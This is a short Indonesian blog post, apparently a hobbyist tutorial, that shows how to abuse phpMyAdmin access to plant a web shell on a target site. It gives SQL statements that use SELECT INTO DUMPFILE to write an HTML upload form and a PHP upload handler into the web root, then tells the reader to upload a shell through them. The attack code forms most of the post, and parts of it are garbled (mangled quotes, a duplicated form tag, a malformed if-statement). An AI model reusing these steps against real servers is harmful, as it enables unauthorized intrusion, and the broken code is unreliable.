Memanfaatkan celah Php Myadmin

Ini tutor buat nubi kaya saya , bukan buat master. 😛

WARNING !!!! MASTER DILARANG BACA !!!

Apa yang kita bisa lakukan dengan bermodalkan phpmyadmin.
kali ini kita coba dengan upload web shell

pertama kita cari path dari document root
setelah itu kita buat sebuah database baru dengan nama apa saja
lalu pilih tab sql coba masukan command sql seperti ini
CREATE TABLE form(
Stack TEXT
) TYPE=MYISaM;

INSERT INTO form(stack)
VALUES(
‘<form enctype=”multipart/form-data” action=”upload.php” method=”post”><pre lang=”html”>Upload file :<form enctype=”multipart/form-data” action=”upload.php” method=”post”><input name=”userfile” type=”file” /><input type=”submit” value=”Upload” /></form>’
);

select * into dumpfile ‘/opt/lampp/htdocs/form.php’ from form;

Perintah diatas akan membuat sebuah tabel bernama form dan akan membuat sebuah file bernama form.php
oke
Tahap kedua coba kita buat file uploadnya
CREATE TABLE upload(
Stack TEXT
) TYPE=MYISaM;

INSERT INTO upload(stack)
VALUES(
‘<?php $uploaddir = “ISI DENGAN TEMPAT FILE DOCUMENT ROOT PHPMYADMIN”;$uploadfile = $uploaddir . basename($_FILES[“userfile”][“name”]);echo “<pre>”;if (move_uploaded_file($_FILES[“userfile”][“tmp_name”], $uploadfile))print “</pre>”;?>’
);

select * into dumpfile ‘ISI DENGAN TEMPAT FILE DOCUMENT ROOT PHPMYADMIN’ from upload;

Oke file upload.php sudah terbentuk

oke finishing kita tinggal memanggil aja
http://target site tadi/form.php

Kita tinggal mengupload shell maka akan memunculkan halaman kosong dan url nya menunjuk pada file bernama “upload.php” (http://situs target.upload.php)

Silahkan Di Uji coba..
Mohon Dibenarkan Klo ada kesalahan

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s